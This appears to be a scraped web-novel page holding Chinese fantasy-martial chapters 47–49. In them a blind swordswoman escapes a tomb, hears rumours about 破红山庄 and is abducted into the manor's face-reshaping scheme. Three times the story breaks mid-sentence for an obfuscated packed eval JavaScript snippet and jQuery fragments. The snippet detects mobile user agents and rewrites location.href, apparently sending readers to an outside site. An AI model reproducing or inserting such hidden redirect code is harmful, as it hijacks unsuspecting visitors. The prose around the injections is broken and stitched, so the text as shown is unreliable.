“理由是什么说不好,但至少墓主人的身份肯定也不低。”君无岐慢慢踱步到门前,仰起头,“联想到附近住的人,我觉得你应该能猜到这里面埋的是谁才是。”
“附近住的人?”童桐皱眉,“德陵城外不都是些小村子吗?哪有……莫非你是说破红山庄?难道说墓主人是大国师?”
当今陛下并未立国师,提到大国师,有且只有一位,那就是开国时帮助太祖打天下的那位。传闻中她在国祚稳定后便云游而去不见踪影,甚至现在还有人传自己在某某地见过她,可谁曾料想,她居然是葬在了此地么!
至于破红山庄,取义看破红尘,是当初大国师弟子们中的一位创立的,现如今仍在江湖上声名赫赫,风光无限。
“大国师当年急流勇退,销声匿迹,人人皆谓之洞察百练,精于世故。”君无岐叹息,“可世事难料啊……”
童桐恍然。
“难怪这里有那么多妖鬼骨殖,若埋葬的是大国师,一切便说得通了。”她说,“那破红山庄选在此处建立,大概也是为了守护师尊遗骨吧。”
君无岐不置可否。
“现在说这些都没有用。”召南道,“咱们还是先想想办法出去才对。”
“既然留了进来的路,那也需得有出去的路才行。”君无岐慢慢在门前晃悠,“若是把门直接封死不留余地,出了意外可怎么办?”
“你说得对,可这和门有什么关系?”召南拆她台,“要留也是留里面的,留外面的算怎么回事?”
君无岐神秘一笑。
“谁说没留外面的了?”
又是一刻钟后。
土伯像往常一样在墓道中来回行走,巡视领地,随着时间推移,那对羚羊耳朵也在轻微颤动,渐渐恢复了往常的敏锐听力。它忽然捕捉到了什么动静,停步昂首,口中喷出愤怒的鼻息,九蹄扬起,朝那个方向奔去。
墓道尽头的小厅内,有人正等在那里。
她手中拿着竹杖,正一下又一下地敲着地面。
“真是个好孩子。”君无岐轻笑,“来,往这撞。”
土伯听不懂这个人类在说什么,只觉得愤怒,短短一天之内它已经被打扰了两次,这简直是不可饶恕之罪过。它低头站在小厅外,前蹄刨地,鼻息几乎已成具象的白气,周身裹挟着不可抵挡之势,朝她冲来!
“嘭!”
墓道中爆出惊天巨响,几乎能震裂人的耳膜。土伯那对刀锋似的长角折断一根,落地即融,另一根则随着主人撞破石门,触及到了另外一侧。土伯上半个身体卡在门上,只听它长长呜咽一声,竟然如同泥塑入江一般,慢慢化作黄泥,渗进了地下。
童桐和召南这才敢从藏身之处出来。
“它怎么了?”童桐有些好奇,又有点不忍,往门下土伯消失之处张望,“不会死了吧?”
“没死。它是土地中生出的精怪,只要有土在,就生生不息。”君无岐顺着土伯撞出的洞口小心翼翼伸出条胳膊,“这应该可以过去了吧?”
两人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930560|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一猫鱼贯而出。
主墓室里亮如白昼,壁边架设足有上百灯架,细细看去,这些灯竟然都是悬浮在半空中的,时不时还会交换位置颜色,殊为奇异。大厅足有三丈多高,弧形圆顶上绘满彩绘壁画,还用黄金宝石装饰作出繁星盛景。正中央没有棺材,而是一只巨大的妖兽骸骨,足有数丈高,作正欲奔跑之状,宽阔脊背上坐了一人,唇角含笑,衣带当飞,若非双眼紧闭,竟似还活着一般。
妖兽下踏着块巨石,周边开满奇花异草,枝叶仿佛还在颤动,满满当当一大片。童桐好奇地碰了下,惊觉这居然都是手工制作的绒花。
“我的天……”她赶快把手收回来。
“那就是大国师吗……”她声音颤抖,“居然能历经如此之长的时间仍然尸身不腐,这是何等神力……”
君无岐抿着嘴唇,没有接她的话。
召南隐约察觉到她此时情绪不怎么高,岔开了话题,“这里还有其他道路吗?找找看。”
童桐恍然想起正事,急忙四处张望。这墓室非常大,周围摆放的陪葬品也极其多,以妖兽为中心,错落有致地摆放着玉石雕刻的山峰、白银造就的河流,以及翡翠树木花草等等,看得人眼花缭乱。
召南也跳到地上,左看看右闻闻。
君无岐慢步走到妖兽前,抬头定定“凝望”着大国师。
她看到一团极其稀薄微弱的火。
最最普通的白色,比起蝴蝶都要轻,像是已经坚持了很久却不得不被磨损,以至于只留下了最后一点意识,而这点意识也像是风中残烛,只怕过不了多久就要散了。
她有些悲伤地伸出手。
一只蝴蝶从大国师的身上飘飞出来,纯白色,颤颤巍巍,摇摇欲坠。它很吃力地拍打着翅膀,薄薄的蝶翼几乎成了半透明,忽闪忽闪地来到君无岐手上。
它摔到君无岐掌心,足肢无力蜷起,发出一点微不可闻的低吟。
君无岐轻轻一震。
她听到大国师在说话。
“吾名游山醉,嘉宏一十四年生人,兴元六年路遇大妖害命,吾斗之,两败俱伤,殁于四月廿六。吾生时徒三名,大徒方明霞,中正平和,气度通达,吾不忧之,二徒陆松和,好名利,但行事仍算练达,吾也不忧之,唯独幼徒徐敬溪,资质平平,忧怀天下,好外出游历,吾实忧心。”
蝴蝶颤抖着,那声音越来越低,越来越轻,“今日相逢乃你我之缘,若有朝一日偶然听其下落,还请多多照拂……吾心力不足,只能为你开辟条出路,望你……海涵……”
语声断了,蝴蝶在她掌心拍了两下翅膀,化作飞灰飘尽。
君无岐怔怔,忽然身前传出细碎声响,大国师的尸体已簌簌碎成千万光点,如大雨般泻落,又在半空渐渐停住,附在什么上面。这时童桐才骇然发现,自拱顶上垂下千万条丝线连接着游山醉的躯体,所谓衣带当飞,其实都是定住的!
一种说不出的恐惧漫上她心头。
她还未想出这到底是因为什么,就听到不远处轰隆巨响,一道石门缓缓打开,露出一条黑漆漆的道路。
她们终于可以出去了。
47. 观音颅(六)
出去的路途超乎想象的顺利。
她们从一处枯井爬到地面上时,已然天光大亮,童桐感动得差点飚泪,“终于出来了,我还以为要死在里面!”
“不管怎么说,这事也算解决了吧。”君无岐也看不见,随便拍拍身上的土,召南离她远一点,正在疯狂抖毛,“既然如此,我便不多打扰,这就告辞了。”
“什么?”童桐如遭雷击,“大仙你这便走了?若是那蓝蝶又飞出来可怎么办?啊我不是这个意思,您要不再多住几天?”
君无岐宽容地“望”着她。
“你已经知道那到底是个什么了,即使再来你也能解决。”她缓缓道,“没事的,手段已被发现,谷菱儿应当不会再冒险去你们村庄。”
“我知道……”童桐拉着她衣角,依依不舍,“那大仙你一路小心,若有机会,一定要再来我家。”
君无岐笑着应了。
她们自此分别。
召南缩在竹筐里,也有点怏怏不乐,“唉,我真讨厌这种离别的场面。”
“这世上有几件事能称心如意。”君无岐道,“还是先做好眼前事再说。我要去打听打听郦玉成的消息,你来不来?”
说到这个召南立马不蔫了,嗖的从框里爬出来,“你要去哪里打听?我也要!”
“还有哪里能比这些地方消息更灵通呢。”君无岐“看”向某个位置,唇角笑意加深,“我们走。”
德陵城外,官道边上,有个小茶摊。
这里远远已经能看到城墙,来往过路人都爱在此处一停,歇歇脚,喝口水,打听打听消息。今日也不例外,几张小桌坐满了人,谈天说地,聊得好不痛快。
“……据说那丰城城外,怪鸟和虎神大战三百回合,打得那是昏天黑地日月无光,血把湖都染得通红,足足三日才恢复清澈!”
“这虎神这么厉害啊?那下次我经过丰城也去拜拜。”
“嗨,这你就消息落后了吧?自那一日后起,虎神就离开了丰城,说是因为那知州太过无恶不作,触怒了她,现在当地人都琢磨着怎么做好事把虎神请回去呢。”
“那虎神还愿意回去?搁我我才不回。”
“我说你们,丰城的事都讲了好几天了吧,不腻啊?说点别的听听。”
“别的哪还有这个带劲!”
“你真是不关心江湖大事,就知道那些神神鬼鬼的。最近破红山庄要开群贤会,你不知道吧?”
“群贤会?干嘛的?”
“我说你这人!群贤群贤,听名字听不出来吗?”
“那总不能召集一群武林中人来干坐着吧!我是说,群贤到了之后干嘛呢?”
“明面是说给少年英杰们切磋武艺,其实我猜啊,八成是想又搞一个‘百武集’,再造一个君子剑吧!”
此话一出,所有人都不约而同地沉默了。
说话这人也有些怅然,摇摇头喝了口茶。
“这个群贤会,都会有谁来?”
忽然有人清凌凌地插了句嘴。
饮茶之人动作一顿,转头却见身旁不知何时站了个盲女。她以白绫缚着双眼,发丝漆黑,肩上还趴着只猫。他心中微微一动,竟是不由自主地回答了她,“除了庄主以外,据说还有‘清风客’阮清波,郦家家主郦玉成,偃门、医岛、掩日山、藏金阁等等地方都会来人,若是运气好,说不定能拜进其中一个门派嘞。”
“多谢这位大哥。”盲女微微笑着,顺势在他身边空位坐下,“你也是来参加群贤会的?”
“我哪有那本事!”他大笑,“只盼到时少年英侠们大出光彩,我等能大饱眼福便是幸运至极了!”
“说来也奇,破红山庄怎么突然想办这个群贤会?”盲女微微皱起眉,“若我记得不错,他们素来自视甚高,以大国师一脉自居,很少掺和这些事才对。”
“这你便不晓得了吧!”饮茶客洋洋得意道,“他们哪是想办,是不得不办!你可曾听说二十年前的鬼影杀人案?”
“这却是不曾听说。”盲女道,“还请大哥解惑。”
饮茶客压低了声音,“你这年纪,不知道倒也正常,其实这事说来倒也简单,就是二十年前破红山庄突然冒出来个鬼影,大肆屠杀庄中弟子。以至于这山庄里人才青白不接,只能庄主自己苦苦扛着,后来那鬼影不知为何消失了,破红山庄这才缓过劲来,结果你猜怎么着。”
他鬼鬼祟祟地左右一看,“就在一个月前,那鬼影又冒出来了!”
盲女一挑眉。
“这次死了谁?”
饮茶客伸出三根手指。
“死了三个人,都是山庄最为看重的英杰少年,你说他们能不急?”
“原来如此。”盲女恍然道,“多谢大哥。”
她从袖中摸出一串铜钱,轻轻搁在桌面上,“这碗茶便算我请了,大哥莫要推辞。”
“哎你这人!”
饮茶客一把捞起钱串,刚想塞回给那盲女,一回头,茶摊里人声鼎沸,却是不见了那道身影。
他呆呆眨了下眼睛。
“我见鬼了不成?”
。
官道上。
“郦玉成居然有闲心来参加这种集会,我还以为他一门心思扑在他那大儿子身上呢。”
君无岐语带讥讽,步履不停,“既然知道他会去哪就好说了,接下来的目标就是怎么混进去……你说他们那墙会不会很高?”
“你还想翻墙进去?”召南懒洋洋道,“那你不如守在山道上,等着郦玉成过来一刀结果了他呢。”
“这也是个办法。”君无岐若有所思,“那现在目标就变成了去找个趁手的武器……”
“什么你还真的要这么干!”召南大惊,“在墓里莫不是把你脑子闷坏了,来来往往那么多人,万一有出来搅局的怎么办?”
君无岐轻轻拧了下它的耳朵。
“你也知道你这是个馊主意。”她没声好气,“给我重新想。”
召南啪一下又倒下了。
“那我还是支持你翻墙。”它随着君无岐的步伐起起伏伏,一副没骨头的懒样子,“简单,快捷,省事。唯一的问题是进去了之后该去哪里找人。”
“可那破红山庄在哪呢。”君无岐仰起头,“总不能就这么漫无目的地到处乱找吧?”
旁边一辆正慢悠悠向前走的马车忽然在她身边停下,车夫探出脑袋,上下打量她几圈,与她搭话,“姑娘,你要去破红山庄?去做什么?”
他以为君无岐是个彻头彻尾的盲人,眼神十分露骨,到了令人生厌的地步,“和我说说,我说不定有办法呢。”
君无岐停下脚步,歪了下头。
“您是那庄子里的?”她道,“我听说最近山庄要开群贤会,想着能不能到那里去寻访名医,治治我的眼睛呢。”
“那你确实是去对了地方!”车夫一拍大腿,“庄主这群贤会开得好哇,倒确实是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935925|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有名医要来,你的眼睛有治了!上来吧,我捎着你过去。”
君无岐作犹豫状,“可是……会不会太麻烦你?”
“这有什么可麻烦的!反正左右都是回庄,是不是多带你一个有什么要紧。”车夫跳下来车来拉她衣袖,“来吧来吧,你一个盲女,看不见路,自己一个人打听到那去得多费事?”
“这……说得倒也是。”君无岐一本正经地点头,“那就多谢大哥。”
她就这么顺水推舟上了车。
车厢内还有他人,一个年轻女子正抱着腿蜷缩在角落,安静得仿佛不存在。另外边上一个年长妇人坐在那喝茶,见到她上车也不意外,招呼她坐下,“你叫什么名字?多大了?”
君无岐装得一副怯生生模样,“我叫齐君,二十有二了。”
背篓里猫作呕吐状。
妇人抬眉,“什么声音?”
君无岐警告地从竹篓缝隙中戳了它一下,柔顺答道,“是我养的一只野猫,一直呕吐不止,可能生了什么病吧。”
“野猫?”妇人眉毛一竖,面上嫌恶,“怎么能带着这等脏东西!一会下车就把它扔掉,别带进庄里,听到没?”
“可是……”
“没有可是,你还想不想入我破红山庄了!”妇人一拍几案,“让你进是看的起你,别太把自己当回事!”
君无岐一听也不干了,“你怎么如此说?我又不是来求你的,停车,让我下去!”
“上来了还想下去?”妇人抱臂冷笑,“想得美!”
她也彻底不装了,扬手抓起一条木棍,咚一下敲在地板上,唬得角落里那个年轻人浑身一震,“听见没?要是想跑,就这个伺候!”
君无岐慢慢坐下来。
“现在知道害怕了?”妇人还以为自己的威吓起了作用,得意道,“乖乖听话,山庄里短不了你吃喝,若是伺候得好,保你荣华富贵!”
君无岐敏锐地捕捉到了“伺候”一词。
她眉梢一动。
怎么感觉不太像个正经地方?
没等她思考出个三四五六,身旁那女子忽然往她这里一靠,仓促间她听见低低的两个字,“快逃。”
这破红山庄竟是什么魔窟不成?
这么个小动作也被那妇人发现了。她劈手狠狠一剁木棒,厉声喝道,“说什么呢?不许说话,分开点!”
君无岐感觉到腰上被人一推,她顺势坐远了些,低眉顺眼道,“这是要去哪?做什么?”
“别问那么多。”妇人听起来心情好了些,悠然哼着小曲,“你只用知道是过好日子去就行了。”
没见谁去过好日子是用这种方式。君无岐腹诽。
马车哒哒哒地向前走着,体感应当是一路向上,很是颠簸,顺着山道,路面也逐渐崎岖难行起来。君无岐凝神听着外面动静,人声很少,基本都是些无意义的寒暄,只有一两句含义不明的对话遥遥传来,被她暗自记住。
“那马车回来了。”
“不知道这次带了几个?怕不是红夫人到时又得挨罚。”
“嘿嘿嘿,你倒是捧她的臭脚,甚么红夫人,自吹自擂罢了!”
后面的飘在风里,听不清了。
看样子这到处掳人的事他们山庄中人也都知道,还管这妇人叫作红夫人?只是最后那句又是什么意思?
君无岐还未思考明白,只觉身下微震,马车缓缓停了下来。
她们到了。
48. 观音颅(七)
钟响过十下。
夜幕初降,黄昏四合,西边最后一点余晖呈现极其朦胧的粉橘色,为半山腰上的山庄蒙上一层纱。山庄依山而建,高低错落,自高处向下看十分壮观。最高处建了座巨大的观音像,四周栽满莲花,正对一座钟楼。一口黄铜巨钟在楼上微微晃动,刚刚敲完钟的弟子正从上面下来。
这座百年山庄因为近来的恐怖传闻略显阴森,现下这个时段,南边主堂却明烛高悬,亮如白昼,时不时还传出些大笑,略略驱散了些诡异感。
“所以这就是夜行灯?倒是十分方便。”阮清波拨了下身旁漂浮着的灯架,其中烛火跃动两下,亮度不改,好像有生命似的往旁边一让,“陆兄,你们这一门真是厉害啊。”
破红山庄庄主,当今术师第一人陆德辉面上露出些矜持的笑容,引他往里走,“这才哪到哪,阮兄,这边来。”
阮清波往里一看,情不自禁倒吸了口凉气。
只见偌大一片厅堂内壁都改换成了琉璃,后面灌满海水,其中还辅以奇石珊瑚等装饰,足有一间屋大小,其中水草飘动,星点彩色小鱼点缀其中,美不胜收。一座水月观音立在池中央,斜坐姿态,表情闲适,手中持一座白玉宝瓶,周身飘飞鲛纱丝带,半透的七彩颜色,随水飘荡,竟宛如真人。
“这……陆兄好大手笔!”阮清波赞叹,“这观音像如此逼真,想必是请了尺工大师塑的吧?”
陆德辉大笑,“尺工大师久不出山,为了塑这座观音可是费了我好大力气!不过最妙之处不在这里,你且再看。”
阮清波眯起眼细细打量,可看来看去也没看出个名堂。他刚想转头问陆德辉,忽然眼角余光瞥到一线五彩斑斓的反光。
他骇然睁大眼睛。
“那、那莫不是鲛人?”他大惊,“我没看错吧?”
古人云:“蛟人即泉先也,又名泉客。南海出蛟绡纱,泉先潜织,一名龙纱,其价百余金。以为入水不濡。南海有龙绡宫,泉先织绡之处,绡有白之如霜者。”鲛人自古便有传闻,只是很少见到,倒是东海有不少借着鲛人名义卖鲛纱的,也不知是真是假。
“阮兄当然没有看错,这的确是条鲛人。”陆景辉走到琉璃壁前,敲了两下,“有了观音,怎能没有龙女?恰逢我儿近日听说了点消息,为我送了这条鲛人来。”
那鲛人在奇石后面怯生生探出头,黑发在水中飘散,一双眼深蓝如海,当真是美貌绝伦。阮清波看着,有点不忍心,“可就这么养在这里吗?地方是不是小了些……”
“哎哟,阮兄,你看着这东西长得像个人,莫不是真把它当人了吧?”陆德辉拍拍他肩膀,“这就是个畜生!给了它吃喝不就行了?管那许多作甚!能在我这里侍奉水月观音,不比在海里自己刨食强?”
阮清波是个顶顶出名的老好人,在江湖中混了这么多年还没真正得罪过谁,闻言只得尴尬赔笑,“这样啊……”
“再说我这地方马上就要开群贤会,总得有个能上的了台面的吧?”陆德辉捋着胡子,大为自得,“届时许多名流都会来参加,我可不能堕了我破红山庄的名头!”
阮清波心想你我理解的上台面怕不是一个意思,转移了话题,“不知贵庄现在如何了?抓到那凶手了没有?”
“那自然是抓到了,否则我怎么敢开这群贤会?”阮清波这问题简直问到了陆德辉心坎上,当即抓着他滔滔不绝,“你不知道那贼人多么丧心病狂,杀我弟子不说还想动我儿子,若非我发现的及时,我儿怕是就命丧当场了!待到群贤会开宴之时,我势必要当众诛杀此贼!”
阮清波试着挣开却无济于事,在心中连连叫苦,他正准备随便想个别的理由转开他注意,忽见门前飘过一角火红,赶忙反手拉住陆德辉。
“那是谁?是不是来找你的?”他指着门外,“若你还有事要处理,且去就是,不必管我。”
陆德辉定睛瞧去,脸色一变。
“啊,多谢阮兄体谅。”他勉强笑道,“那我便先走了,你可随意逛逛。”
说完不等阮清波的反应,径直往门外去。
阮清波巴不得他无视自己,这下可算是解脱了,只是不免又有几分好奇。他往那方向瞅了几眼,只能看到火红衣角,还有低低的谈话声,实在听不清。
来找陆德辉的是红夫人。
“庄主,少爷又开始闹腾了。”她低声道,神色焦急,“不吃不喝,就要人来陪他……”
“之前的人呢?都哪去了?”
“谷菱儿去了大墓,她那虫蛊难缠得很,每月都得在墓中待够十天,这还没到日子。”提起谷菱儿,红夫人面上现出一丝阴霾,“其他人要么被少爷发狂弄死了,要么送去了月谷,没人能顶上了!”
陆德辉拧眉。
“你这回出去没找到合适的人选?”他斥责道,“让你尽心伺候少爷,你就这么办事?”
红夫人赶忙辩解,“我倒是找了两个来,可还没来得及验验成色,若是少爷不满意又闹起来……”
“管那许多作甚!先换了脸哄哄他再说。”陆德辉骂道,“这你都不会吗?”
“庄主教训得是,我这就去办。”红夫人低头行礼,“那二少爷那边……”
“这你不用管,元和素来比他大哥懂事,看到了也不会乱说话的。”陆德辉不耐烦道,“行了行了,快去办事。”
红夫人低头告辞。
她一路疾走,直奔山庄后院,那里有个小屋,平日很少有人去。她摸出钥匙开门,屋里正挤坐着两个姑娘,正是马车上被她连骗带抢弄来的两人!
她居高临下地打量着她们,目光里不含半分感情。
少顷,她决定了什么。
“你,就你,出来!”她一把拉住之前蜷缩在马车角落的女子,把她生生拽了出来,“跟我来,别想耍花招!”
女子踉跄几步,回头看了眼君无岐,像是想求救,但最终还是讷讷无语。
红夫人自觉自己掌握了生杀大权,又警告性地丢下几句话,嘭的关上门。
君无岐,“……”
“这到底是不是个正经地方。”召南从她背篓里钻出脑袋,“我现在对此很怀疑。”
君无岐席地而坐,若有所思,“她找这么多姑娘来干嘛呢?”
“肯定不是好事。”召南说,“你要在这里等着吗,还是出去看看?”
“等等看。”君无岐下了决定,“我倒要看看她要做什么。”
这一等就是几个时辰。
黑天悬月,繁星遍布四周,今夜是个难得的晴夜。破红山庄四处都亮了起来,煌煌如昼,细看的话都是妖物“夜行灯”。一人一猫在小屋里等得昏昏欲睡,忽然门外传来了动静。
“伺候人都做不好,要你有什么用!”红夫人气急败坏道,似乎在训斥之前那女子,“把她给我带到月谷去,不必再出现了!”
月谷?那是什么地方?
君无岐满心疑惑,听着红夫人踏踏大步而来,气势汹汹地推开门,“你,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943474|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过来!”
君无岐从地上起来,慢慢靠近她。
红夫人丝毫没有发现异状,颐指气使,“把你那眼罩摘了,让我看看脸长得如何。”
君无岐手都摸到竹杖上了,忽然一顿。她沉默几息,临时改了主意,指尖生生换个方向,解下眼纱。
红夫人一抬头,恰恰对上那对灼灼黄金瞳。
那一瞬间,她的神志似乎已经不属于自己,灵魂高飞苍穹,直要在黄金海洋中溺毙。恍惚间,她听到有人柔声问她,“我的脸如何?”
她于是顺着那人的话去看她的脸。
一张……完美的脸。
她神色几乎可以称得上着迷,其中又有几分难掩的嫉恨,令她整张面孔都变得扭曲,“你……你……是你……”
君无岐垂眼。
“是谁要见我?”
“是少爷……元飞少爷……”红夫人想要伸手,但又不敢,“你居然真的来了,真的来了!”
君无岐心中疑窦丛生。
她从不记得自己见过一个叫元飞的人。
她正准备再细问,忽然眼中一痛,幻境刹那间消失,她猛地捂住眼睛,后退一步。
自那日在丰城虎野泽开过幻境后,这双眼越来越不耐用了。
红夫人骤然清醒过来,只觉得方才似乎看到了什么令她心神巨震的事,但此时情况紧急,便也顾不得再细看她的脸,拉着她就要走。
“侍奉少爷之前,需得先去二少爷那里整整脸。”她自言自语,“还是要像一点的,越像越好,越像越好……”
二少爷,这又是谁?
就是他用的“生塑”秘法?
她不发一语,低着头跟着红夫人一路快走,直至行到一座小院前。
小院三面环水,水中满是荷叶,其下似有粼粼金鱼游动,数盏夜行灯悬在水面上,映得水中波光跃金,如梦似幻。院落中有座凉亭,挂着帐幔,随风一吹便飞舞起来,平添几分仙气。亭中有人坐在那里,面前摆了只酒壶,正自斟自饮。
“二少爷。”红夫人小步过去,低声下气道,“这不是又来了个姑娘,希望您能……”
“啪!”
一只杯子在她面前摔碎,瓷片四溅,差点划伤她的脸。
陆元和醉醺醺地撑头看她,“这才多久……又来一个?”
红夫人赶忙赔笑,“这不是之前那个少爷不满意,连打带骂的,我们也是没办法,这才来求您,您看在兄弟情面上,就担待担待……”
“我拿他当兄弟,他几时拿我当兄弟?”陆元和含糊道,“你们……口口声声叫着二少爷……实际上,还不知道怎么想我!”
“怎么会呢!”
红夫人转头一看君无岐还在那站着,劈手把她拉来,“您看看,这个相貌上相近,费不了您多大功夫……”
陆元和低头去瞅她。
“你算个什么东西,也敢来使唤我!”他忽然暴怒,扬手把一个酒杯砸在她头上,透明酒液尽数泼出,淅沥沥顺着头发往下淌,“一个妖人,还真把自己当回事!”
红夫人似是经常遇到这种情况,尽管全身狼狈,仍是不住哀求,“二少爷,求求你帮帮少爷,他也是心里苦……”
湿透的衣襟不住往下滴水,嗒嗒嗒。
陆元和冷冷哼了一声。
他已经不耐烦至极,正准备再用个其他什么东西把红夫人赶走,忽然外面传来一道女声。
“陆元和,你这是在干嘛呢?”
49. 观音颅(八)
陆元和猛然抬头。
“又青?”他又惊又喜,从小凳上起来迎她,“你怎么过来了?”
岳又青站在小院门口,“你爹不是要开群贤会?我娘就让我来了……你们干什么呢?”
她穿一件织满金线的曳地长裙,身上挂满配饰,远远看去活像个行走的首饰架,珠光宝气这种词用在她身上都略显朴素,但若是细细看去,那些首饰又显得有些奇怪,不大像是一般少年爱用的那些珠玉宝石之类。陆元和像是被她身上折射的光刺了下眼,偏了下头才答。
“没什么大事,兄长找我帮忙罢了。”
岳又青眯着眼使劲往小院里看。
奈何陆元和为了好看把灯全搁外面了,里面只有寥寥数盏,还都不亮,她自己又是个疾盲患者,在没戴琉璃镜的情况下再努力也只能看到三个人影。她欲要进门,可嗅到酒味心中又嫌弃,只好拧拧巴巴地原地站着,抬手把裙角捞起来。
“既如此,那你就去帮忙吧,我不打扰了。”
虽然这么说,她却没有立刻就走的意思。
红夫人见状立马打蛇随棍上,低声道,“二少爷,您看……”
陆元和脸色极差。
“让她去那躺下。”他冷冰冰道,“我净了手再来。”
他指指小院侧边一张躺椅。
“你是要用‘生塑’了吗?”岳又青虽然眼神不咋的,听力却着实不错,在门口扬声说道,“小心手!”
陆元和往她那边一望,变脸似的换上张笑脸,语气还挺温柔,“我晓得。”
君无岐低着头往躺椅那边去。
“等等。”岳又青神色疑惑,“我怎么觉得那人有点眼熟……”
陆元和横跨一步,巧妙拦住她的视线。
“你这眼睛该好好保护才是。”他道,“怎么每个到我这院中的人你都觉得眼熟?”
“这倒也是。”岳又青悻悻,“那你好好工作吧,我走了。”
她这回是真的要走,只是临走前没忍住还是往院中看了几眼,虽然只能看到个模模糊糊的轮廓,但仍让她感觉熟悉,比以往那些人更加强烈。
“难不成我这眼症又加深了?”她在心中嘀咕。
她在门口徘徊片刻,最终还是走了。
君无岐悄悄在心中松了口气。
路元和洗了手过来,指尖拈着几根细丝,和蛛丝一般粗细,却极其有韧性,用力拉扯而不断。他走到君无岐身边,正要俯下身去打量她的脸,却忽然动作一僵。
红夫人已经自动自觉地到了一边去等着,大概以前经常被赶,此刻正在角落中来回踱步,看不到此时情况。
君无岐抬手,明明不可视物,却精准捞过他掌中细丝。
盖因这东西上有一点微光,这代表它带了命数。
“想不到你居然能引得又青教你这些。”她语气也听不出是喜是怒,“她知道你在做这种事吗?”
陆元和僵直地站在原地,神色晦暗。
“她是个小蠢货。”他轻慢道,“不可能知道的。”
君无岐意味不明地嗤笑一声。
到底谁是蠢货还未可知。
眼睛能维持的时间很短,她必须要抓紧时间。
“你已经‘生塑’结束了,这就是你的成果。”她指指自己的脸,慢慢说道,“明白吗?”
陆元和低头看着她。
“明白。”
熟悉的刺痛从眼睛深处传来。君无岐按住眼眶,眼角克制不住地淌下泪水,沾湿头发。陆元和恍然惊醒,条件反射地去看她,神情还有点恍惚。
“这次……好像。”他喃喃。
君无岐眨了下眼睛,一滴泪珠自睫毛上掉落。他情不自禁伸出手想擦掉那滴眼泪,行至半途忽然意识到自己在做什么,骤然僵住。
他神色难看下来,甩袖就走。
红夫人急忙过来。
“这次这么快就结束了?”她颇有些意外,“你……我的天。”
她眼神发直,“好像……”
一抹不甘和妒恨从她眼中划过。
“这眼睛怎么是这个颜色,还真是个瞎的。”她有些不满,“一会见到少爷,别让他看到你的眼睛,真碍眼。”
君无岐假装低头应是。
时间已经很晚了,红夫人丝毫不顾及她是个盲人,带着她一路飞奔,几乎是拖着她往前走,如果是个普通姑娘,这回恐怕已经被硬生生拖在地上。君无岐一言不发,只在心中默默记下山庄结构。这座山庄像个巨大的梯田,居所高度依地位来定,譬如陆元和就住在第三层,而那位所谓的“少爷”则住在第二层。
如果有宾客来,八成会住在第四层。
她在快速思量着接下来的计划,红夫人猝然停步。
“我们到了。”她的声音忽然变得极度柔软、甜蜜,甚至可以说是矫揉造作,到了发腻的地步,“少爷,我来了,可以进来吗?”
这里是花与绫罗绸缎的海洋。
眼下刚刚进入初夏,很多花还只是初初开放,但这里却已经是花团锦簇,万紫千红,无数粉的黄的紫的白的月季绣球紫薇锦葵争相盛放,把每一个角落都填得满满当当。花海中留出一条小道,窄得仅容一人通行,铺满丝绸锦缎,极尽奢靡。花的尽头是座木屋,用贵重的金丝檀搭建而成,窗户则是用的大片琉璃,随便掰个角下来都够平民百姓一家花用,更别说檐下挂的宝石攒的风铃、鲸骨所制的门扇等等,都是有钱都很难弄到的好东西。
院落门前挂了个白玉传声简,方才红夫人就是对着这东西在说话。
简中传来一个懒洋洋的男声,“进来吧。”
红夫人拉着君无岐往里走。
那珍贵的丝绸她们刚刚走过,就有仆从过来换成新的,还不忘把每一个角落拉平整。君无岐这辈子没这么奢华过,对破红山庄顿时又有了新的认知,当然,是负面的。
她们一路来到小屋前。
屋里凌乱至极,什么珍贵的器具画卷之类的到处乱扔,空气中还隐约带了点血腥味,混杂着令人生厌的甜腻。正中间摆了张小榻,一个男子靠在上面,衣襟敞开,赤足披发,百无聊赖地拿珍珠扔着玩。听到两人入内也不抬头,神色语气都是恹恹,“行了,站那吧。”
想必这位就是陆元飞了。
“少爷,别不高兴,这次来的这位可像了,简直和真的一模一样。”红夫人的声音哄孩子似的,几乎能拉丝,“你抬起头来,看一看,好不好?”
陆元飞不耐烦地抬眼,“我都说了……啊。”
他咕噜一下子爬起来,连衣领掉下去都没发觉,“是你……君子剑,是你!”
君无岐没说话,心里却已经翻江倒海。
他居然是真的奔着她来的!
陆元飞看到她以后眼中顿时再看不到任何东西,直扑她而来,“你真的来看我了,君子剑,你不知道我有多想你……”
君无岐,“……”
她真是有点装不下去。
那边红夫人已经悄无声息地退了出去。
忍无可忍,无需再忍。
她当即出手将他一把掀翻!<
